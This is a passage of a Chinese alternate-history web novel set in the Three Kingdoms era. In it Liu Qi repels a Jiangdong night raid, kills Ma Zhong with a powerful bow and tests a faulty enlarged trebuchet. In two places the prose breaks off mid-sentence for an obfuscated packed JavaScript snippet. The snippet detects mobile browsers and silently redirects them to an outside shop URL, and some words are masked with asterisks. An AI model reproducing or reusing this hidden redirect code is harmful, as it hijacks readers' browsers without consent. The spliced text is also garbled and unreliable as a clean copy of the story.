这份信任,远不及他与伯符(孙策)那般历经战火淬炼,坚不可摧。 一丝无奈与忧虑划过心头,周瑜感到胸口隐隐作痛。 周瑜深知分兵出击的风险,但更明白,在此刻若出言劝解,那将是在挑战孙权的权威,必将导致将帅失和,其后果可能比战术上的失误更为严重。 于是,周瑜将已到嘴边的劝谏之语咽了回去,脸上看不出丝毫波澜,只是微微颔首,声音平静道:“主公深谋远虑,两路并进,确可使刘琦难以兼顾。如此……便依主公之策。” 周瑜而看向诸将,开始下达具体的,融合了孙权意志的军事指令: “黄盖听令!” “末将在!”老将黄盖出列。 “命你率四千兵马,大张声势,举旗而行,进攻望江岭,务必营造出我军对望江岭必得之势,吸引敌军的注意!” “韩当、潘璋听令!” “末将在!”二将精神一振。 “命你二人,率五千精锐,秘密集结于北门内。待黄盖将军与望江岭上敌军接战,荆州大营注意力被吸引之时,你等伺机出击,直扑刘琦北大营!以袭扰、破坏其攻城器械为主,若事有可为,则扩大战果!” “末将遵命!”三人抱拳应声道。 命令已下,一场围绕着孙权个人意志而非最优战术的军事行动,就此展开。 周瑜垂下眼帘,不再多言,只希望自己的妥协,能换来战场上的侥幸,以及内部暂时的稳定。 (本章完) 第54章 马忠被射飞!潘璋:这TM是刘琦 时值六月,江夏之地的夜,沉闷而燥热,荒野外连夏虫的鸣叫都带着一丝不安。 子时刚过,夏口城西门悄然开启 令人牙酸嘎吱嘎吱的绞盘声中,全身黑甲、口衔枚的韩当、潘璋所部五千精锐,沉默的涌出城门。 几乎在同一时间,夏口城北门也传来相同的声响。 韩当、潘璋二人闻此声响,皆咧嘴一笑。 黄盖已经开始行动,那接下来就到他们了。 二人先是率大军悄无声息地迂回至荆州军与望江岭之间的一处险要隘口。 此处乃是通往望江岭的必经之路,两侧丘陵夹道,林木丛生,正是设伏的绝佳地点。 “韩将军,你我将主力伏于此地。若那刘琦真派兵救援宋濂,我军便可半途击之,必获大胜!”潘璋压低声音,眼中闪烁着猎食者的光芒。 韩当点了点头,并没有言语,因为就算让他来找,也多半会选择在此地设伏。 五千江东精锐于是迅速隐入道路两侧的黑暗之中,如同蛰伏的恶狼,屏息凝神,只待猎物上门。 时间在潘璋,韩当二人紧张的等待中缓缓流逝。 约莫半个时辰后,东面望江岭方向,突然火光冲天,杀声隐隐传来,映红了小半边天幕! 伏击圈内的江东军顿时精神一振,所有目光都投向了通往荆州大营的方向。 然而,一刻钟,两刻钟…… 道路上始终寂静无声,莫说是大队援军,连个探马的影子都没有。 “潘文珪,看来刘琦小儿并未中计!” 韩当的耐心渐渐耗尽,语气带着许些烦躁。 潘璋望着荆州大营方向那片死寂的黑暗,脸色也阴沉下来。 周瑜都督预想的“围点打援”之策,恐怕是落空了。 而刘琦的谨慎,有点超出了他们的预料。 “罢了!”潘璋啐了一口,眼中凶光再现,“既然他不来,那我们就过去!按主公之策,直捣其大营!” “早该如此!”韩当豁然起身。 而荆州军大营内,中军帐。 刘琦并未深睡,随着望江岭上燃起的冲天火,刘琦被亲卫急促的唤醒:“主公,望江岭方向起了火光!” 刘琦披衣而起,走到帐外,遥望东面那片被映红的天空,脸上非但没有惊慌,反而露出一丝“果然如此”的沉着。 刘琦早已料到,江东军绝不会坐视自己从容布置的,所以反击是必然的,而望江岭这个制高点,首当其冲。 “主公!望江岭烽火!宋校尉处定然遭遇猛攻,我等是否要派兵驰援?”匆匆赶来的**甲胄未全,脸上带着急切。 他身为刘琦亲卫统领,首要职责是护卫主**危,对于此类突发军情,他的第一反应则是确认主公的决策,以此好加派亲卫通知军中各将校。 不等刘琦回答,同样闻讯赶来的王朗(王仲宣)立刻出声制止::“主公,陈将军,万万不可!深夜敌情不明,贸然出兵,乃兵家大忌!” “且这或许是江东军调虎离山,或半道设伏之策?” “而望江岭上宋校尉有兵两千,据险而守,岂是顷刻可破?末将料定,宋校尉必能坚守待旦!” 刘琦赞许地看了一眼王朗,这位从底层凭借军功升上来的校尉,作战经验的确丰富,一眼看出了关键。 刘琦淡然开口:“仲宣所言,深合我意。望江岭之险,我早已从战报中得知,通往岭上之宽途仅一两条,宋濂已按我令深沟固垒,纵有数倍之敌,一夜之间亦难攻克。” 刘琦语气轻松,甚至带着一丝调侃:“说不定,此刻那孙权或周瑜,正效仿仲宣你当日,在哪个山坳里忍着蚊虫叮咬,盼着我军去钻他的口袋呢。我便偏不如他所愿,让他们白白喂一夜蚊子。” 众将闻言,紧张的气氛稍缓。 王朗更是苦笑拱手:“主公明鉴,但愿如此。” 然而,刘琦笑容一敛,语气转为严肃: “然,我军亦不可大意!兵法言,虚而实之,实而虚之。” “望江岭烽火若未能调我出动,其伏兵岂会空手而归?若伏击不成,其真正杀招,或许便是趁我注意力被引开之际,夜袭我这大营!” 说完刘琦当机立断,沉声下令:“传令各营,即刻按第一预案行事,谨守营寨,**上弦,未有我的将令,任何人不得擅自出击!” “所有明哨、暗哨、游哨,加倍警惕,严防敌军趁夜摸营!” 与此同时,荆州大营外黑暗之中。 潘璋与韩当伏在草丛中,望着远处依旧沉寂,并未因望江岭烽火而出现大规模调动的荆州大营,脸色都凝重起来。 “这刘琦,竟如此沉得住气?”韩当压低声音,语气中带着意外和一丝不安。 潘璋眼中凶光一闪:“无妨!他不出营,正合我意!按第二计,我待会佯攻制造混乱,吸引其注意。” “韩将军,你速带本部,去焚毁其营外器械场!能烧多少是多少,务必毁了那些碍眼的家伙!” “好!”韩当也不啰嗦,一招手,带着麾下千余精锐,借着夜色掩护,悄悄的向荆州军大营侧后方的器械场摸去。 潘璋则深吸一口气,对身旁一名精悍的别部司马下令:“马忠!你带本部人马,多树旗帜,擂鼓呐喊,向前营逼近,做出全力攻打之势!” “若能诱敌出营,我自有接应;若其不出,你便虚张声势,待韩将军得手信号,便交替掩护后撤!” “末将领命!”马忠,这位历史上曾擒杀关羽的江东骁将,此刻眼中闪烁着对军功的渴望,立刻率部行动。 然而,潘璋、马忠低估了刘琦的谨慎。 荆州大营外围,并非只有肉眼可见的明哨。 就在马忠麾下精锐悄无声息地摸向营门,准备拔除栅栏前的哨塔哨兵时,异变陡生! “咻——噗!”一名江东锐士刚从阴影中跃出,手中的短刃尚未触及哨塔上那名看似松懈的荆州哨兵咽喉,一支**箭已从侧后方另一个完全不起眼的草垛中射出,精准地贯穿了江东锐士的脖颈! 几乎在尸体倒地的同时,那名草垛中的荆州军暗哨快速的从怀中掏出一个物件塞入口中——那是一个造型奇特的木哨,哨内嵌有一颗小小的陶珠。 此物正是刘琦往日见军中传递警讯手段匮乏,除却笨重的铜锣、依赖视野的火把以及传播范围有限的呼喝外,缺乏一种能让单兵快速、隐蔽且远距示警的工具。 于是刘琦便依据后世一些特制的勺子模糊记忆,琢磨出这内嵌陶珠之法所制,军中赶制配发不久,今夜正是首次用于实战。 “哔——!!!” 一道尖锐、凄厉、穿透力极强的哨音,瞬间撕裂了寂静的黑夜! 暗哨吹出的勺声不同于这个时代任何号角或竹哨,它更高亢,更急促,更尖锐! 勺声如同投入滚油的凉水,又像是连锁反应的起点! “哔——哔——哔——!!” 以此处暗哨为原点,刺耳的哨音如同烽火般,沿着预设的警戒线路,一波接一波地向大营内部急速传递而去! 几乎是哨音响起的下一秒,整个荆州大营如同被惊醒的巨兽,无数火把快速燃起,将荆州营寨周边五十步内照得亮如白昼! 原本沉寂的营帐瞬间被掀开,无数枕戈待旦的士卒在基层军官短促的呼喝声中,抓起兵刃、顶着盾牌,严格依照预案冲向各自预设的防御位置,动作迅捷而有序,并无多少慌乱…… 而正准备发动突袭的马忠部,身形彻底暴露在这片光亮之下! “不好!被发现了!”马忠脸色剧变,他完全没料到荆州军的警戒体系如此诡异高效。 “敌袭!各卒坚守位置!**手放箭!”营寨望楼和栅栏后,响起了荆州军官冷静而果断的命令声。 准备好的**如同疾风暴雨般倾泻而下,瞬间将冲在前面的江东兵射倒一片! 计划败露,偷袭已无可能,按常理,此时应立即撤退。 但潘璋远远望见,脸上横肉一抖,凶悍之气上涌:“就这么走了,岂不让人笑话!既然来了,总要留下点什么!传令,强攻前营,为韩将军创造机会!” 潘璋决定行险一搏! 一时间,潘璋主力尽出,配合前方陷入混乱的马忠部,对荆州大营前营发起了猛攻。 双方箭矢往来如蝗,喊杀声震天动地。 而大营内,刘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16622464|187382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 琦已在黄忠、**等将簇拥下登上前营指挥台。 刘琦一身玄甲,目光冷静地扫过战场,试图通过敌军的主攻方向。 但触目所及,皆一片混乱,尤其是马忠所强攻的前营右翼方向。 那里的战况显然异常激烈,甚至可说是危急——一段近三丈宽的栅栏已被推倒砸烂,形成一个尽十米的缺口! 汹涌的江东兵正如同决堤的洪水般,从这个缺口不断涌入营内! 火光跳跃,映照出缺口处惨烈的搏杀。 荆州军士卒在基层都伯、队率的嘶吼下,拼死组成防线,用盾牌和长矛死死顶住冲进来的敌军。 双方在这个狭窄的区域内疯狂绞杀,刀光剑影,不断有人惨叫着倒下,鲜血迅速染红了脚下的泥土。 而后续的江东兵则踩着同伴和敌人的尸体,嚎叫着继续向内冲击,试图扩大突破口。 就在这片混乱之中,刘琦锐利的目光瞬间锁定了一个身影,正是江东别部司马马忠,他正站在缺口内侧,手持长刀,声若洪钟地呼喝指挥,俨然是这股突入荆州前营敌军的核心。 马忠不时挥刀格开射来的冷箭,随后亲自率着部曲,如同楔子般一次次凿击着荆州军仓促组成的防线,所过之处,荆州军士卒竟难以抵挡,被他接连劈翻数人! 而正是马忠的勇猛,才使得这个突破口非但没有被迅速封堵,反而有愈演愈烈之势。 “挡住!快挡住他们!把缺口堵上!”一名荆州军侯目眦欲裂,声音都已嘶哑。 “此人倒是骁勇。”刘琦冷哼一声,顺手接过亲卫递上的三石强弓,搭上一支破甲箭。 刘琦眼神一凝,周身杀意瞬间敛于弓弦。 强弓在刘琦巨力之下,瞬间弓如满月,箭尖微调,牢牢锁定那个在火光中腾挪叱咤的身影。 “嗖——!” 箭矢离弦,撕裂空气,发出死亡的低啸。 因为马忠身处在双方士卒中,刘琦为了避开几名己方士卒,微微扭转了一下弓弦。 是以,箭矢并非直线飞行,而是带着一道微不可查的弧线,巧妙地避开了几名混战士卒身影的遮挡,精准的命中了在混战中的马忠。 即便马忠有心留言四周冷箭,但对于刘琦手中的三石强弓而言,就算是发现了也无济于事。 百步距离,对于这三石强弓射出的破甲重箭而言,几乎是转瞬即至! “噗嗤!砰!” 箭矢命中目标的闷响之后,竟紧接着一声沉重的撞击声! 箭矢不只是穿透了马忠的身躯。 在如此近的距离下,三石强弓赋予箭矢的恐怖动能完全爆发! 破甲箭不仅轻易地撕裂了马忠的胸膛,箭矢上那巨大的冲击力更是将马忠整个人带得向后猛地一仰,双脚离地,竟像是被一柄无形的巨锤砸中,直接倒飞出去! 马忠的身躯在空中划过一道短暂的弧线,随即重重地砸在身后几名部曲身上,连人带甲撞作一团,顿时引起一片惊呼和混乱! “司马!!” “马司马中箭了!” 距离马忠最近的十余名江东士卒完全被这骇人的一幕惊呆了。 刚才还勇猛无比的司马,转瞬之间便被人给射飞出去,若不是亲眼所见,这些江东士卒还以为,马忠是被床**给击中了呢!!! 主将骤然阵亡,原本还在奋力进攻的这部江东兵瞬间士气崩溃,惊骇之下,转身便逃。 “好箭法!”老将黄忠大喝一声,随后不等刘琦下令,便率本部精锐从侧门杀出,黄忠如同猛虎下山般,追杀溃兵,斩首数百,随后更是从溃军手中将马忠的尸首给抢了回来。 远处,正在指挥后续部队压上的潘璋,亲眼目睹了马忠被一箭射飞、其部瞬间崩溃的全过程,那马忠倒飞的身躯让潘璋瞳孔骤然收缩! “那是……三石强弓?!” “这怎么可能!刘琦小儿,竟有如此臂力和箭术?!”潘璋几乎不敢相信自己的眼睛。 他潘璋文珪,自诩勇力过人,长年累月打熬筋骨,也仅能开两石强弓,且难以持久。 那刘琦,一个养尊处优的荆州长公子,竟有如此神力?这**是哪门子世家子弟?! 第55章 三石弓震江东!孙权妒火中烧! 他潘璋文珪,自诩勇力过人,长年累月打熬筋骨,也仅能开两石强弓,且难以持久。 那刘琦,一个养尊处优的荆州长公子,竟有如此神力?这**是哪门子世家子弟?! 潘璋心中惊骇万分,马忠的勇武他是知道的,竟被刘琦在乱军之中一箭秒杀。 惊疑之下,潘璋一把抓过一个从前方溃退下来的马忠部曲,厉声喝问:“刚才是谁放的箭?你可看清楚了?!” 那部曲面无人色,带着哭腔喊道:“是……是刘琦!是那刘琦本人,就在...在高台上,一箭……一箭就把马司马给射飞了!” 潘璋得到溃兵确认后,不禁倒抽一口凉气,头皮阵阵发麻。 而潘璋先前对刘琦多多少少带点的轻视瞬间被击得粉碎。 此刻,潘璋彻底绝了继续强攻的念头。 眼看前方溃败已有冲乱本阵的迹象,潘璋趁着荆州军还没集结起来追击的时机。 果断下令:“传令!前**后队,押住阵脚,缓缓后退,与韩当将军所部汇合!” 而此时荆州军营里。 “主公,此贼首级!”黄忠将马忠的首级献上。 很快,刘琦便从俘虏口中得知,被自己射杀的江东将校名为马忠。 “马忠?”刘琦眉头微挑,心中闪过一丝讶异,这难道就是历史上那个…… 但刘琦旋即释然,这乱世,人命如草,又一个“名人”陨落在他手中也并非奇怪的事。 而就在刘琦犹豫是否要派遣大军追杀潘璋时,大营侧后方突然燃起了冲天火光。 韩当所部成功突入了防守相对薄弱的器械场,正在四处纵火! “主公!器械场起火,是否派兵救援?”王朗急声道,器械场正在他的防区。 刘琦遥望那片火光,眼神微微眯,心中却瞬间闪过数个念头。 “这火起得……太巧了!” 刘琦的目光快速在眼前溃退的潘璋所部和远方火光之间扫过。 “我刚击退正面之敌,侧后器械场便火起,时间拿捏得如此精准……是偶然,还是周瑜算准了时机,刻意用这支偏师吸引我注意,真正的杀招,便是要诱我分兵去救那器械场?” 刘琦脑海中瞬间浮现出黑夜中可能潜伏的无数危险。 周瑜用兵,虚实难测。若这火光不仅是焚烧,更是一个诱饵呢? 一旦我派兵出营救援,黑夜之中,敌情不明,道路不清,万一……万一那周瑜早在沿途设下伏兵,以逸待劳…… 想到此处,刘琦背脊微微发凉,强烈的直觉和理智都在警告刘琦。 想到这刘琦果断摆手:“不必!” “器械毁了可以再造,而黑夜之中,敌情不明,纵有火光为引,亦难辨其虚实!” 接着刘琦转向身旁的王朗,厉声下令:“王校尉,你即刻返回本部!传令麾下,依托营内工事节节抵抗,迟滞焚毁器械之敌即可,不得擅自出击追击!” 言罢,刘琦环视其余将校,令道:“其余各部,严守本位,加强警戒,**预备!谨防此乃敌军声东击西之诡计,妄动者军法从事!” “一切,待天明再见分晓!” 而刘琦的谨慎,也确实起到了作用。 潘璋在前往与韩当汇合的路上,特意在路途埋伏着一支人马,就等着荆州军救援器械场时半途杀出。 然而,刘琦的按兵不动,让潘璋的后续算计全部落空。 眼见荆州大营稳如磐石,再无隙可乘,而韩当那边火光已起,任务也算完成大半,潘璋虽心有不甘,也只能咬牙下令:“撤!” 江东军如同潮水般退去,消失在黎明前的黑暗中。 天色渐明,荆州营寨前一片狼藉。 清点损失,营外堆积如山的木材、部分已完工的冲车、井阑组件被焚毁大半,而王朗所部防守器械场的士卒伤亡数百余人,这几日所囤积的攻城器械更是全部焚毁殆尽。 中军帐前,刘琦面色沉静。 王朗卸甲跪地,知道自己在责难逃一脸愧色:“末将防守不力,致使军械损毁,士卒伤亡,请主公责罚!” 刘琦看着王朗,一股温怒涌上心头, “王朗,你虽遭敌精锐偷袭,寡不敌众,致使防区被破,军械焚毁,” “然军法如山,防区失守即是失职,不容姑息!” “现在革去你扬武校尉之号,杖责二十,仍领本部戴罪立功!” 刘琦目光凝视着跪地的王朗:“王王朗,如此处置,你可心服?” “末将……领罚!” 王朗重重叩首,脸上肌肉抽搐。 扬武校尉这个杂号是他多年拼杀才得来,如今一夕失去,心中痛惜远甚于皮肉之苦。 是以,王朗对昨夜来袭的潘璋、韩当二将,可谓是恨入骨髓,暗自发誓,此仇必报! 刘琦转向众将,声音传遍全场:“器械被焚,无妨!我等可再造!但此战,我军挫敌夜袭,阵斩敌将,更知敌军手段不过如此!传令各部,加紧营建,加固防御!待投石机成,便是夏口城破之时!” “诺!” 众将校齐应道。 处理完营中事务,刘琦目光转向东面依旧传来隐约喊杀声的望江岭,下令道:“汉升,着你率三千精锐,即刻出发,击退黄盖,解望江岭之围!” “末将领命!”黄忠慨然应诺,立刻点兵出发。 与此同时,望江岭上。 黄盖的攻势从昨夜半夜持续到如今天明,但进展却甚微。 这望江岭地势果然险峻异常,宋濂得了刘琦严令,又提前加固了防御。 而通往岭上的主要通道则被宋濂布置了大量鹿角、壕沟层层封锁,两侧皆是难以攀爬的陡坡峭壁。 黄盖麾下江东健儿虽奋勇,但在如此狭窄的地形下根本施展不开,只能顶着山上不断滚落的礌石、射下的箭雨,艰难地仰攻。 数次看似即将突破,都被宋濂亲自带兵死战堵了回去。 岭下江东军尸骸枕藉,岭上荆州军的抵抗却依旧顽强。 事实上,在发起强攻之前,老成持重的黄盖也曾尝试过效仿宋濂般偷袭望江岭。 黄盖曾亲率百名精锐,人衔枚马裹蹄,试图沿着一条樵夫小径摸上岭去。 起初进展顺利,悄无声息地解决了几个外围岗哨。 然而,就在他们即将接近岭上主营寨外围时,一名江东士兵不慎触动了宋濂军设置的简易绊索。 “哔——!!!” 一声尖锐刺耳的哨音,毫无征兆地在寂静的山林中炸响! 哨音正是刘琦推广配发的那种特制警哨! 几乎在哨音响起的瞬间,附近几个草垛和石堆后,同时响起了更多的哨音,此起彼伏,瞬间将警报传遍全岭! “放箭!” 黑暗之中,只听宋濂一声令下,早已埋伏在暗处的**手朝着哨音示警的大致方向,劈头盖脸就是一阵箭雨覆盖! 同时大量的火把也随之燃起,将黄盖这支偷袭部队的身影照得隐约可见。 黄盖挥舞长刀,格开几支流矢,心中又惊又怒。 他完全没料到,宋濂在岭上的警戒竟如此严密,而且这诡异的哨音传递信息的速度也太快了! “黄公覆!” 岭上寨墙后,出现了宋濂的身影,他扶着寨墙,对着黄盖的方向嘲弄道:“尔等江东伎俩,早在我家主公预料之中!主公早已传令,严防尔等夜间鼠窃狗偷之行!” “这‘警哨’之声,可还清脆?想学我当初破岭之法?可惜啊,画虎不成反类犬!” 黄盖气得浑身发抖,尤其是被宋濂这个他眼中的“叛将”如此嘲讽,更是怒火中烧,黄盖指着岭上破口大骂:“宋濂逆贼!背主求荣,甘为刘琦鹰犬,有何面目在此狂吠!我江东待你不薄,安敢如此!” 宋濂闻言,脸色也沉了下来,冷声回道:“良禽择木而栖!刘府君以国士待我,我自以国士报之!” “总好过在江东,受尔等庸才排挤掣肘!黄公覆,念在旧日情分,尔等速速退去,否则,休怪我**无情!” 偷袭计划彻底败露,在对方严阵以待之下已无可能成功,黄盖只能咬牙含恨,在又一阵箭雨的“欢送”下,狼狈地撤下山岭。 正是这次夜袭的失败,迫使黄盖只能采取了代价巨大的正面强攻。 黄盖眉头紧锁,望着那依旧牢牢掌控在敌军手中的岭巅,心中焦躁不已。 “这宋濂,据险而守,竟如此难缠!”黄盖征战半生,罕遇如此棘手的攻坚战,眼见儿郎们伤亡不小却寸功难立,一股浓烈的郁结之气堵在胸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16626391|187382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口。 而此时,天色已然大亮。 一名亲兵急速奔至黄盖身边,急声道:“将军!发现荆州援军旗号,主将旗书‘黄’字,约有数千之众,正朝我军而来!” 黄盖闻报,眉头紧锁,心中瞬间闪过数个念头,随后迅速做出了判断:“宋濂援军来得如此之快……” “看来,潘璋、韩当昨夜虽焚其荆州军器械,但却未能令其营寨伤筋动骨,更未能造成足够持久的混乱,否则刘琦断不敢在清晨便分兵数千来援!” 黄盖望了一眼依旧坚如磐石的望江岭防线,又看了看岭下堆积的己方士卒尸骸,心中已有了决断。 此行主要目的——焚毁敌军攻城器械——已然达成,算是挫了刘琦连日来的锐气。 自己这边虽未能攻下望江岭,但也起到了牵制作用,并试探出了此岭防御之坚固与宋濂守备之严密。 “继续强攻此岭,已无意义,徒耗兵力而已。”黄盖是沙场老将,深知何时该进,何时该退。 “传令!鸣金收兵!” 黄盖命令下达,江东军开始有序后撤。 不久后,夏口城内,临时吴侯府邸内。 黄盖、韩当、潘璋三将向周瑜与孙权汇报了昨夜至今晨的战况。 韩当、潘璋禀报了焚毁大量敌军攻城器械的战果,但也提及了遭遇顽强抵抗,尤其是潘璋,详细描述了刘琦那惊人的箭术与马忠的阵亡。 黄盖则陈述了望江岭之险、宋濂防守之严,以及自己被迫撤军的原因。 “三石强弓?!”一直凝神静听的周瑜,此刻也不禁脱口而出,苍白的脸上第一次露出了难以掩饰的惊容。 周瑜深知能开此等硬弓意味着何等恐怖的神力,这已非寻常勇将所能及,完全颠覆了他对刘琦“诡诈有余,勇力不足”的旧有印象。 “你确定是刘琦本人能开三石弓?”周瑜忍不住向潘璋确认,得到对方斩钉截铁且带着后怕的肯定答复后,周瑜陷入了短暂的沉默,眼神复杂,显然在重新评估这个刘琦对手的全部实力。 而坐在主位上的孙权,在听到“刘琦”、“三石强弓”、“一箭射飞马忠”这几个词串联在一起时,碧色的眼眸中先是爆发出难以置信,随即,一股火辣辣的嫉妒如同毒蛇般噬咬着孙权的内心。 听着潘璋描述,孙权仿佛能想象出那幅画面:万千军阵之前,刘琦亲自挽强弓,箭出如雷霆,于百步外取敌将性命,这是何等威风!何等霸气! 这就是孙权梦中都渴望拥有的场景! 他体内流淌着父亲“江东猛虎”孙坚的血液,继承着兄长“小霸王”孙策的基业,孙权太渴望、太需要这样一场能够彰显个人武勇、让全军将士为之震服、让天下人刮目相看的时刻了! 可如今,做到这一切的,偏偏是他的敌人,那个原本被他视为凭借父荫、运气和手下将领才屡次得手的刘琦! 凭什么?!一股混杂着嫉妒、不甘、愤懑与强烈渴望的复杂情绪,在孙权胸中翻腾,让他几乎要握碎座椅的扶手。 而周瑜敏锐地察觉到了孙权的情绪波动,随即迅速收敛了自己的惊讶,跳过这个话题,将话题引回战略层面,周瑜先是肯定了众人的努力:“诸位将军辛苦了。” “此行焚毁刘琦大量攻城器械,延缓其攻城进度,挫其锋芒,已是大功一件。” “而黄老将军能审时度势,及时从望江岭撤军,保全将士,亦是明智之举。” 黄盖面有愧色,抱拳道:“末将无能,未能拿下望江岭,反损兵折将,请主公、都督责罚!” 周瑜微微摆手,语气平和:“公覆不必自责。望江岭易守难攻,宋濂又是新降之将,必是拼死固守。” “而此岭在我军后方,他孤军悬于外,迟早会露出破绽。” 周瑜的语气沉稳而充满耐心,展现出一个优秀统帅的战略眼光:“刘琦分兵据守外线要点,看似棋先一着,实则是给了我军逐个击破,或调动其兵力,令其疲于奔命的机会。” “这次未能设伏成功,一次不成,便十次扰之。” “待其疲敝,或刘琦分兵来援时,便是我军以逸待劳,一举破敌之机。” 周瑜这番话既安抚了黄盖,也让众将看到了破敌之策。 第56章 刘琦:夫人,靠你了! 就在周瑜于夏口城内强撑病体,与孙权商议军务,为昨夜焚毁敌军部分器械却折了马忠而懊恼不已之时。 城外荆州军大营,昨夜的厮杀痕迹尚未完全清理干净,空气中隐约还残留着烟火与血腥的气味。 中军大帐内,刘琦端坐主位,指尖轻轻敲击着案几,听着王朗禀报昨夜审讯俘虏的详细结果。 “主公,末将已反复核对过。” “昨夜袭营的乃是韩当、潘璋两部。” “潘璋?” “这潘璋是何时来的?” 刘琦停下敲击案几的动作有些诧异。 王朗神色凝重:“这正是末将要禀报的。” “据俘虏供认,潘璋所部五千人,是前几日才从江东调来的援军!” “江东新调来的援军?” 刘琦坐直身子,“整整五千人,竟然在我们眼皮子底下悄无声息地进了夏口!这孙权、周瑜,竟将消息隐瞒得如此严密!” 王朗继续禀报:“此外,周瑜也放弃了部分外围水寨,亲率两千核心部曲及两千水师步卒退入城中......” “等等!” 刘琦突然抬手,脸色变了变。 “潘璋五千,周瑜四千,再加上夏口原本的守军......” 刘琦脸色阴沉,“这么说,夏口城内的江东军,已经接近两万之数?!” 两万! 这个数字如重锤般砸在帐内每个人的心头。 刘琦一直以为自己一夏口城内的江东军势均力敌,却不料江东竟在不知不觉中增兵已有两万! 瞬间刘琦一股后知后觉的寒意,从尾椎骨窜上天灵盖。 刘琦感觉自己像是在悬崖边跳了场舞而不自知。 刘琦一直以为自己是进攻方,掌握主动,却没想到对方拳头比自己硬得多。 想来这周瑜之前没倾巢而出全力扑上来,不是不能,恐怕是顾忌接连失利,想求稳,或者……在等待更好的时机? “好险……”刘琦低声自语,背心已被冷汗浸湿,“若非连日挫其锋芒,让周瑜心存忌惮,他若不管不顾倾巢而出,我这万把人,怕是……” 刘琦不敢再想下去,立刻收敛心神。 “传令!” “命驻守沙羡的陈应,即刻率五千襄阳营,轻装简从,火速前来夏口听用!” “再令,主**珍总领沙羡军政,安抚地方,督运粮草。” 这些日子刘琦虽然在前线督战,但诸葛亮每隔三日便会将后方政务摘要抄阅送来,故而刘琦对沙羡情况了如指掌。 想到诸葛亮送来的文书上记载,**珍这些日子不仅将沙羡治理得井井有条,恢复了农耕,还从江南陆续收拢了两千多黄祖旧部。 这份政绩,在黄祖旧部溃散、江夏元气大伤的局面下,着实不易。 刘琦心中不禁暗赞:“这**珍,不愧是青史留名之人,于废墟中重整秩序,招抚流散,能力果然出众。” 随即刘琦思绪一转,:周瑜率部缩回夏口,而周瑜不在,想来以庞统的水师足以已将江东水师给堵于下游,而江面航道实则已在我掌控之下。 “如此一来,陈应那五千精锐的襄阳营继续驻防沙羡,未免有些大材小用。” “想来,**珍新收拢的两千多兵马,用以维持地方、守卫粮道已是绰绰有余。 命令下达,信使立即持令符飞驰而出。 望着信使远去的背影,刘琦心下稍安,但眉宇间的凝重并未消散。 即便陈应的五千精锐赶到,面对城高池深、守军近两万的夏口,强攻也必然是一场尸山血海的消耗战。 而攻城器械昨夜又被韩当一把火烧了,重新打造又要多费些时日了,而强攻夏口,必须要有大量的工程器械,才能减少伤亡。 念此,刘琦的目光不由自主地投向了营地后方那片空地方向。 刘琦站起身,对众将校道:“器械场被焚,攻城之具短缺,如今,破城之希望,更系于投石机之上,且随我去工匠营一看。” 众人移步至营后空地,远远便听见“咚咚“的敲击声和工匠们的呼喝声此起彼伏。 数十名工匠正在一架庞然大物四周忙碌着,有的在加固基座,有的在调整绳索。 黄忠抚着鬓白的胡须,眼睛一亮:“这新造的投石机,倒比先前那架还要雄伟几分!” 王朗也忍不住赞叹:“光是看这架势,就知威力不凡。” “先前那架能射百余步,这一架怕是要射出一百五十步开外了!” 众将校纷纷点头,脸上都露出期待之色。 就连一向沉稳的**也忍不住赞叹:“主公真乃神人也!竟能想出这等攻城利器。” “末将记得先前那投石机时,已是惊为天人,不想在主公的指点下今日又见这般改进,实在令人叹服。” **环视那巍然矗立的巨大投石机,眼中满是钦佩:“如此雄壮之物,若是拉到夏口城下,必能震慑城中之敌!” 那新造的投石机确实气势惊人,炮梢比先前长了一尺有余,粗壮的硬木在阳光下泛着暗沉的光泽。 基座用双层原木交错钉死,四角还用铁件加固,稳稳地立在地上,宛如一头蓄势待发的巨兽。 这架新制投石机高达近三丈,基座占地约莫半间营房大小,需要十余个人张开手臂方能合抱。 这时,工匠头领李老叁小跑着迎上来,脸上带着既期待又忐忑的神情:“主公,各位将军,这新机子已经准备妥当,就等试射了。” 刘琦微微颔首,目光在那巨大的炮梢上停留片刻。 刘琦注意到炮梢末端新系了数十根粗麻绳,每根都有手腕粗细,显然是为了增加拉力。 “试。”刘琦言简意赅。 令旗挥下,六十名精挑细选的力士各就各位,分成三排列队握住拽索。 这些力士个个都是军中百里挑一的壮汉,赤裸的上身肌肉虬结,在阳光下泛着油光。 “嘿——哟!” 随着工匠头领李老叁一声令下,力士们齐声发喊,同时发力后拉。 粗壮的麻绳瞬间绷紧,发出令人牙酸的“吱嘎“声。 就在众将满怀期待地注视着这庞然大物,以为必将石破天惊之际。 那石弹像是喝醉了酒般,歪歪扭扭地抛射出去,在空中划出一道软绵绵的弧线,“噗”地一声,沉闷地砸在七十多步外的空地上,溅起的尘土还没一人高。 场间一片死寂,力士们喘着粗气,面面相觑。 方才还满怀期待的众将校,此刻个个目瞪口呆。 黄忠下意识地捋断了根胡须,王朗张着嘴,半晌说不出话来,**脸上的钦佩之色尚未褪去,却已凝固成了错愕。 这...这怎么可能? 众人心中同时升起这个疑问。 明明造得更大更长了,怎么射程反倒不如从前? 先前那架小一些的,不是能射百余步吗? 这庞然大物看着威风,怎的如此不济事? 难道越大越长反而不中用,越小越短却越强? 众将校心中闪过无数疑问。 但看着刘琦紧皱的眉头和脸上显而易见的错愕,谁也不敢把这话说出口。 